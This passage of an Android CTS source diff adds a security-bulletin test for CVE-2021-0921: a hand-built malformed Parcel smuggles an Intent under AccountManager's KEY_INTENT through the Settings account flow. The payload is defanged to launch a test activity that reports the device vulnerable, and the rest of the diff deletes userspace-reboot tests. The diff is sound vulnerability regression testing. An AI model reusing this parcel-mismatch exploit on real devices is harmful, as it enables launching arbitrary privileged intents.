+ data.writeInt(0); // requestedPermissions
+ data.writeInt(0); // implicitPermissions
+ data.writeInt(0); // upgradeKeySets
+ data.writeInt(0); // keySetMapping
+ data.writeInt(0); // protectedBroadcasts
+ data.writeInt(0); // activities
+ data.writeInt(0); // receivers
+ data.writeInt(0); // services
+ data.writeInt(0); // providers
+ data.writeInt(0); // attributions
+ data.writeInt(0); // permissions
+ data.writeInt(0); // permissionGroups
+ data.writeInt(0); // instrumentations
+ data.writeInt(0); // preferredActivityFilters
+ data.writeInt(0); // processes
+ data.writeInt(0); // metaData
+ data.writeString("volumeUuid"); // volumeUuid
+ data.writeInt(-1); // signingDetails
+ data.writeString("codePath"); // codePath
+ data.writeBoolean(false); // use32BitAbi
+ data.writeBoolean(false); // visibleToInstantApps
+ data.writeBoolean(false); // forceQueryable
+
+ data.writeInt(1); // queriesIntents
+ data.writeInt(0); // queriesIntents
+
+ data.writeInt(0); // queriesPackages
+ data.writeInt(0); // queriesProviders
+ data.writeString(""); // appComponentFactory
+ data.writeString(""); // backupAgentName
+ data.writeInt(-1); // banner
+ data.writeInt(0); // category
+ data.writeString(""); // classLoaderName
+ data.writeString("className"); // className
+ data.writeInt(-1); // compatibleWidthLimitDp
+ data.writeInt(0); // descriptionRes
+ data.writeBoolean(false); // enabled
+ data.writeBoolean(false); // crossProfile
+ data.writeInt(0); // fullBackupContent
+ data.writeInt(0); // iconRes
+ data.writeInt(0); // installLocation
+
+ data.writeInt(0); // labelRes -> queriesPackages
+ data.writeInt(0); // largestWidthLimitDp -> queriesProviders
+ data.writeInt(-1); // logo -> appComponentFactory
+ data.writeString("manageSpaceActivityName"); // manageSpaceActivityName -> backupAgentName
+ data.writeFloat(0); // maxAspectRatio -> banner
+ data.writeFloat(0); // minAspectRatio -> category
+ data.writeInt(-1); // minSdkVersion -> classLoaderName
+ data.writeInt(-1); // networkSecurityConfigRes -> className
+ data.writeInt(1); // nonLocalizedLabel -> compatibleWidthLimitDp
+ data.writeInt(-1); // nonLocalizedLabel -> descriptionRes
+ data.writeInt(-1); // permission -> enabled
+ data.writeInt(-1); // processName -> crossProfile
+ data.writeInt(0); // requiresSmallestWidthDp -> fullBackupContent
+ data.writeInt(0); // roundIconRes -> iconRes
+ data.writeInt(0); // targetSandboxVersion -> installLocation
+ data.writeInt(0); // targetSdkVersion -> labelRes
+ data.writeInt(-1); // taskAffinity -> largestWidthLimitDp
+ data.writeInt(0); // theme -> logo
+ data.writeInt(-1); // uiOptions -> manageSpaceActivityName
+ data.writeInt(-1); // zygotePreloadName -> maxAspectRatio
+ data.writeInt(0); // splitClassLoaderNames -> minAspectRatio
+ data.writeInt(0); // splitCodePaths -> minSdkVersion
+ data.writeInt(0); // splitDependencies -> networkSecurityConfigRes
+ data.writeInt(0); // splitFlags -> nonLocalizedLabel
+ data.writeInt(-1); // splitNames -> nonLocalizedLabel
+ data.writeInt(-1); // splitRevisionCodes -> permission
+ data.writeBoolean(false); // externalStorage -> processName
+ data.writeBoolean(false); // baseHardwareAccelerated -> processName
+ data.writeBoolean(true); // allowBackup -> requiresSmallestWidthDp
+ data.writeBoolean(false); // killAfterRestore -> roundIconRes
+ data.writeBoolean(false); // restoreAnyVersion -> targetSandboxVersion
+ data.writeBoolean(false); // fullBackupOnly -> targetSdkVersion
+ data.writeBoolean(false); // persistent -> taskAffinity
+ data.writeBoolean(false); // debuggable -> taskAffinity
+ data.writeBoolean(false); // vmSafeMode -> theme
+ data.writeBoolean(false); // hasCode -> uiOptions
+ data.writeBoolean(false); // allowTaskReparenting -> zygotePreloadName
+ data.writeBoolean(false); // allowClearUserData -> zygotePreloadName
+ data.writeBoolean(false); // largeHeap -> splitClassLoaderNames
+ data.writeBoolean(false); // usesCleartextTraffic -> splitCodePaths
+ data.writeBoolean(false); // supportsRtl -> splitDependencies
+ data.writeBoolean(false); // testOnly -> splitFlags
+ data.writeBoolean(false); // multiArch -> splitNames
+ data.writeBoolean(false); // extractNativeLibs -> splitRevisionCodes
+ data.writeBoolean(false); // game -> externalStorage
+ data.writeBoolean(false); // resizeableActivity -> baseHardwareAccelerated
+ data.writeBoolean(false); // staticSharedLibrary -> allowBackup
+ data.writeBoolean(false); // overlay -> killAfterRestore
+ data.writeBoolean(false); // isolatedSplitLoading -> restoreAnyVersion
+ data.writeBoolean(false); // hasDomainUrls -> fullBackupOnly
+ data.writeBoolean(false); // profileableByShell -> persistent
+ data.writeBoolean(false); // backupInForeground -> debuggable
+ data.writeBoolean(false); // useEmbeddedDex -> vmSafeMode
+ data.writeBoolean(false); // defaultToDeviceProtectedStorage -> hasCode
+ data.writeBoolean(false); // directBootAware -> allowTaskReparenting
+ data.writeBoolean(false); // partiallyDirectBootAware -> allowClearUserData
+ data.writeBoolean(false); // resizeableActivityViaSdkVersion -> largeHeap
+ data.writeBoolean(false); // allowClearUserDataOnFailedRestore -> usesCleartextTraffic
+ data.writeBoolean(false); // allowAudioPlaybackCapture -> supportsRtl
+ data.writeBoolean(false); // requestLegacyExternalStorage -> testOnly
+ data.writeBoolean(false); // usesNonSdkApi -> multiArch
+ data.writeBoolean(false); // hasFragileUserData -> extractNativeLibs
+ data.writeBoolean(false); // cantSaveState -> game
+ data.writeBoolean(false); // allowNativeHeapPointerTagging -> resizeableActivity
+ data.writeInt(0); // autoRevokePermissions -> staticSharedLibrary
+ data.writeBoolean(false); // preserveLegacyExternalStorage -> overlay
+ data.writeInt(0); // mimeGroups -> isolatedSplitLoading
+ data.writeInt(0); // gwpAsanMode -> hasDomainUrls
+ data.writeInt(0); // minExtensionVersions -> profileableByShell
+
+ data.writeString("key2");
+ data.writeInt(-1);
+
+ data.writeString("key3");
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0);
+ int byteArrayStartPos = data.dataPosition();
+ for (int i = 0; i < 7; i++) {
+ data.writeInt(0);
+ }
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+ Log.d(TAG, "parsingPackageImplParcel() end");
+ return data;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java
new file mode 100644
index 00000000000..5fe3acfc869
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java
@@ -0,0 +1,23 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.Context;
+import android.app.Activity;
+
+import android.os.Bundle;
+import android.util.Log;
+import org.junit.Assert;
+
+public class TestActivity extends Activity {
+ private static final String TAG = "TAG_2021_0921.TestActivity";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(TAG, "onCreate() start");
+ Assert.fail("Arbitrary intent executed. Device is vulnerable.");
+ }
+}
+
+
+
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
new file mode 100644
index 00000000000..987b161766f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -0,0 +1,41 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.net.Uri;
+import android.util.Log;
+
+import java.io.File;
+
+public class Trigger {
+ private static final String TAG = "TAG_2021_0921.Triggger";
+ private Context mContext;
+
+ public Trigger(Context context) {
+ mContext = context;
+ }
+
+ public void accountSettings() {
+ Log.d(TAG, "accountSettings() start");
+
+ //replaces intent.setAction(Intent.ACTION_REBOOT) in original Poc
+ Intent arbitraryIntent = new Intent(mContext, TestActivity.class);
+
+ //Patched device is not supposed to process that intent
+ Authenticator.mIntent = arbitraryIntent;
+
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "com.android.settings",
+ "com.android.settings.accounts.AddAccountSettings"));
+ intent.setAction(Intent.ACTION_RUN);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String authTypes[] = {"android.security.cts"};
+
+ intent.putExtra("account_types", authTypes);
+ mContext.startActivity(intent);
+ Log.d(TAG, "accountSettings() end");
+ }
+}
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
deleted file mode 100644
index f64c740b6c6..00000000000
--- a/hostsidetests/userspacereboot/Android.bp
+++ /dev/null
@@ -1,38 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_test_host {
- name: "CtsUserspaceRebootHostSideTestCases",
- defaults: ["cts_defaults"],
- srcs: ["src/**/*.java"],
- libs: [
- "cts-tradefed",
- "tradefed",
- "truth-prebuilt",
- "hamcrest",
- "hamcrest-library",
- ],
- data: [
- ":BasicUserspaceRebootTestApp",
- ":BootCompletedUserspaceRebootTestApp",
- ],
- test_suites: [
- "cts",
- "general-tests",
- ],
-}
diff --git a/hostsidetests/userspacereboot/AndroidTest.xml b/hostsidetests/userspacereboot/AndroidTest.xml
deleted file mode 100644
index 5df919ff937..00000000000
--- a/hostsidetests/userspacereboot/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2019 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<configuration description="Runs userspace reboot CTS tests">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="framework" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="class" value="com.android.cts.userspacereboot.host.UserspaceRebootHostTest" />
- </test>
-</configuration>
diff --git a/hostsidetests/userspacereboot/OWNERS b/hostsidetests/userspacereboot/OWNERS
deleted file mode 100644
index 7d30d02b0a5..00000000000
--- a/hostsidetests/userspacereboot/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-dvander@google.com
-ioffe@google.com
diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING
deleted file mode 100644
index cf97bfae8d4..00000000000
--- a/hostsidetests/userspacereboot/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "presubmit" : [
- {
- "name": "CtsUserspaceRebootHostSideTestCases"
- }
- ]
-}
diff --git a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
deleted file mode 100755
index 4b903dc36b6..00000000000
--- a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
+++ /dev/null
@@ -1,380 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.userspacereboot.host;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.platform.test.annotations.RequiresDevice;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Duration;
-
-/**
- * Host side CTS tests verifying userspace reboot functionality.
- */
-@RequiresDevice
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class UserspaceRebootHostTest extends BaseHostJUnit4Test {
-
- private static final String USERSPACE_REBOOT_SUPPORTED_PROP =
- "init.userspace_reboot.is_supported";
-
- private static final String BASIC_TEST_APP_APK = "BasicUserspaceRebootTestApp.apk";
- private static final String BASIC_TEST_APP_PACKAGE_NAME =
- "com.android.cts.userspacereboot.basic";
-
- private static final String BOOT_COMPLETED_TEST_APP_APK =
- "BootCompletedUserspaceRebootTestApp.apk";
- private static final String BOOT_COMPLETED_TEST_APP_PACKAGE_NAME =
- "com.android.cts.userspacereboot.bootcompleted";
-
- private void runDeviceTest(String pkgName, String className, String testName) throws Exception {
- runDeviceTests(pkgName, pkgName + "." + className, testName);
- }
-
- private void runDeviceTest(String pkgName, String className, String testName, Duration timeout)
- throws Exception {
- runDeviceTests(
- getDevice(), pkgName, pkgName + "." + className, testName, timeout.toMillis());
- }
-
- private void installApk(String apkFileName) throws Exception {
- CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild());
- getDevice().installPackage(helper.getTestFile(apkFileName), false, true,
- getDevice().isAppEnumerationSupported()
- ? new String[]{"--force-queryable"}
- : new String[]{});
- }
-
- /**
- * Sets up device to run a test case.
- */
- @Before
- public void setUp() throws Exception {
- getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME);
- getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME);
- }
-
- /**
- * Cleans up device after a test case.
- */
- @After
- public void cleanUp() throws Exception {
- getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME);
- getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME);
- getDevice().disableAdbRoot();
- }
-
- /**
- * Asserts that only file-based encrypted devices can support userspace reboot.
- */
- @Test
- public void testOnlyFbeDevicesSupportUserspaceReboot() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- assertThat(getDevice().getProperty("ro.crypto.state")).isEqualTo("encrypted");
- assertThat(getDevice().getProperty("ro.crypto.type")).isEqualTo("file");
- }
-
- /**
- * Tests that on devices supporting userspace reboot {@code
- * PowerManager.isRebootingUserspaceSupported()} returns {@code true}.
- */
- @Test
- public void testDeviceSupportsUserspaceReboot() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- installApk(BASIC_TEST_APP_APK);
- runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest",
- "testUserspaceRebootIsSupported");
- }
-
- /**
- * Tests that on devices not supporting userspace reboot {@code
- * PowerManager.isRebootingUserspaceSupported()} returns {@code false}.
- */
- @Test
- public void testDeviceDoesNotSupportUserspaceReboot() throws Exception {
- assumeFalse("Userspace reboot supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- installApk(BASIC_TEST_APP_APK);
- // Also verify that PowerManager.isRebootingUserspaceSupported will return true
- runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest",
- "testUserspaceRebootIsNotSupported");
- }
-
- /**
- * Tests that userspace reboot succeeds and doesn't fall back to full reboot.
- */
- @Test
- public void testUserspaceReboot() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootSucceed();
- }
-
- /**
- * Tests that userspace reboot with fs-checkpointing succeeds and doesn't fall back to full
- * reboot.
- */
- @Test
- public void testUserspaceRebootWithCheckpoint() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported());
- CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1");
- Thread.sleep(500);
- assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that(
- result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootSucceed();
- }
-
- /**
- * Tests that CE storage is unlocked after userspace reboot.
- */
- @Test
- public void testUserspaceReboot_verifyCeStorageIsUnlocked() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- try {
- getDevice().executeShellV2Command("cmd lock_settings set-pin 1543");
- installApk(BOOT_COMPLETED_TEST_APP_APK);
- installApk(BASIC_TEST_APP_APK);
-
- prepareForCeTestCases();
-
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootSucceed();
-
- // Now it's time to verify our assumptions.
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyCeStorageUnlocked");
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3));
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
- } finally {
- getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
- getDevice().executeShellV2Command("reboot");
- }
- }
-
- /**
- * Tests that CE storage is unlocked after userspace reboot with fs-checkpointing.
- */
- @Test
- public void testUserspaceRebootWithCheckpoint_verifyCeStorageIsUnlocked() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported());
- try {
- CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1");
- Thread.sleep(500);
- assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that(
- result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-
- getDevice().executeShellV2Command("cmd lock_settings set-pin 1543");
- installApk(BOOT_COMPLETED_TEST_APP_APK);
- installApk(BASIC_TEST_APP_APK);
-
- prepareForCeTestCases();
-
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootSucceed();
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyCeStorageUnlocked");
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3));
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
- } finally {
- getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
- getDevice().executeShellV2Command("reboot");
- }
- }
-
- private void prepareForCeTestCases() throws Exception {
- runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
- "prepareFile");
- runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest", "prepareFile");
-
- // In order to test that broadcasts are correctly sent, we need to have a separate app that
- // is going to be listen for them. Unfortunately, we can't use BOOT_COMPLETED_TEST_APP_APK
- // because every call to `am instrument` force stops an app. This doesn't play well with
- // BOOT_COMPLETED broadcast, which is not sent to stopped apps.
- // Send an intent to our "broadcast listening" test app to kick it out from stopped state.
- getDevice().executeShellV2Command("am start -a android.intent.action.MAIN"
- + " --user 0"
- + " -c android.intent.category.LAUNCHER "
- + BASIC_TEST_APP_PACKAGE_NAME + "/.LauncherActivity");
- // Wait enough for PackageManager to persist new state of test app.
- // I wish there was a better way to synchronize here...
- Thread.sleep(15000);
- }
-
- /**
- * Asserts that fallback to hard reboot is triggered when a native process fails to stop in a
- * given timeout.
- */
- @Test
- @RequiresDevice // TODO(b/154709530): Remove dependency on physical device
- public void testUserspaceRebootFailsKillingProcesses() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- assumeTrue("This test requires root", getDevice().enableAdbRoot());
- final String sigkillTimeout =
- getProperty("init.userspace_reboot.sigkill.timeoutmillis", "");
- final String sigtermTimeout =
- getProperty("init.userspace_reboot.sigterm.timeoutmillis", "");
- try {
- // Explicitly set a very low value to make sure that safety mechanism kicks in.
- getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", "10");
- getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", "10");
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootFailed();
- assertLastBootReasonIs("userspace_failed,shutdown_aborted,sigkill");
- } finally {
- getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", sigkillTimeout);
- getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", sigtermTimeout);
- }
- }
-
- /**
- * Asserts that fallback to hard reboot is triggered when userspace reboot fails to finish in a
- * given time.
- */
- @Test
- public void testUserspaceRebootWatchdogTriggers() throws Exception {
- assumeTrue("Userspace reboot not supported on the device",
- getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
- assumeTrue("This test requires root", getDevice().enableAdbRoot());
- final String defaultValue = getProperty("init.userspace_reboot.watchdog.timeoutmillis", "");
- try {
- // Explicitly set a very low value to make sure that safety mechanism kicks in.
- getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", "1000");
- rebootUserspaceAndWaitForBootComplete();
- assertUserspaceRebootFailed();
- assertLastBootReasonIs("userspace_failed,watchdog_triggered,failed_to_boot");
- } finally {
- getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", defaultValue);
- }
- }
-
- // TODO(b/135984674): add test case that forces unmount of f2fs userdata.
-
- /**
- * Returns {@code true} if device supports fs-checkpointing.
- */
- private boolean isFsCheckpointingSupported() throws Exception {
- CommandResult result = getDevice().executeShellV2Command("sm supports-checkpoint");
- assertWithMessage("Failed to check if fs checkpointing is supported : %s",
- result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
- return "true".equals(result.getStdout().trim());
- }
-
- /**
- * Reboots a device and waits for the boot to complete.
- *
- * <p>Before rebooting, sets a value of sysprop {@code test.userspace_reboot.requested} to 1.
- * Querying this property is then used in {@link #assertUserspaceRebootSucceed()} to assert that
- * userspace reboot succeeded.
- */
- private void rebootUserspaceAndWaitForBootComplete() throws Exception {
- Duration timeout = Duration.ofMillis(getDevice().getIntProperty(
- "init.userspace_reboot.watchdog.timeoutmillis", 0)).plusMinutes(2);
- setProperty("test.userspace_reboot.requested", "1");
- getDevice().rebootUserspaceUntilOnline();
- assertWithMessage("Device did not boot within %s", timeout).that(
- getDevice().waitForBootComplete(timeout.toMillis())).isTrue();
- }
-
- /**
- * Asserts that userspace reboot succeeded by querying the value of {@code
- * test.userspace_reboot.requested} property.
- */
- private void assertUserspaceRebootSucceed() throws Exception {
- // If userspace reboot fails and fallback to hard reboot is triggered then
- // test.userspace_reboot.requested won't be set.
- final String bootReason = getProperty("sys.boot.reason.last", "");
- final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested",
- false);
- assertWithMessage(
- "Userspace reboot failed and fallback to full reboot was triggered. Boot reason: "
- + "%s", bootReason).that(result).isTrue();
- }
-
- /**
- * Asserts that userspace reboot fails by querying the value of {@code
- * test.userspace_reboot.requested} property.
- */
- private void assertUserspaceRebootFailed() throws Exception {
- // If userspace reboot fails and fallback to hard reboot is triggered then
- // test.userspace_reboot.requested won't be set.
- final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested",
- false);
- assertWithMessage("Fallback to full reboot wasn't triggered").that(result).isFalse();
- }
-
- /**
- * A wrapper over {@code adb shell setprop name value}.
- *
- * This is a temporary workaround until issues with {@code getDevice().setProperty()} API are
- * resolved.
- */
- private void setProperty(String name, String value) throws Exception {
- final String cmd = String.format("\"setprop %s %s\"", name, value);
- final CommandResult result = getDevice().executeShellV2Command(cmd);
- assertWithMessage("Failed to call adb shell %s: %s", cmd, result.getStderr())
- .that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
- }
-
- /**
- * Asserts that normalized value of {@code sys.boot.reason.last} is equal to {@code expected}.
- */
- private void assertLastBootReasonIs(final String expected) throws Exception {
- String reason = getProperty("sys.boot.reason.last", "");
- if (reason.startsWith("reboot,")) {
- reason = reason.substring("reboot,".length());
- }
- assertThat(reason).isEqualTo(expected);
- }
-
- /**
- * A wrapper over {@code getDevice().getProperty(name)} API that returns {@code defaultValue} if
- * property with the given {@code name} doesn't exist.
- */
- private String getProperty(String name, String defaultValue) throws Exception {
- String ret = getDevice().getProperty(name);
- return ret == null ? defaultValue : ret;
- }
-}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
deleted file mode 100644
index 348a462bbe5..00000000000
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.userspacereboot.basic">
-
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
- <application>
- <activity android:name=".LauncherActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- <uses-library android:name="android.test.runner"/>
- <receiver android:name=".BasicUserspaceRebootTest$BootReceiver"
- android:exported="true"
- android:directBootAware="true">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
- <provider android:name=".BasicUserspaceRebootTest$Provider"
- android:authorities="com.android.cts.userspacereboot.basic"
- android:exported="true"
- android:directBootAware="true">
- </provider>
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.cts.userspacereboot.basic"
- android:label="Basic userspace reboot device side tests"/>
-</manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java
deleted file mode 100644
index c41f221cf42..00000000000
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
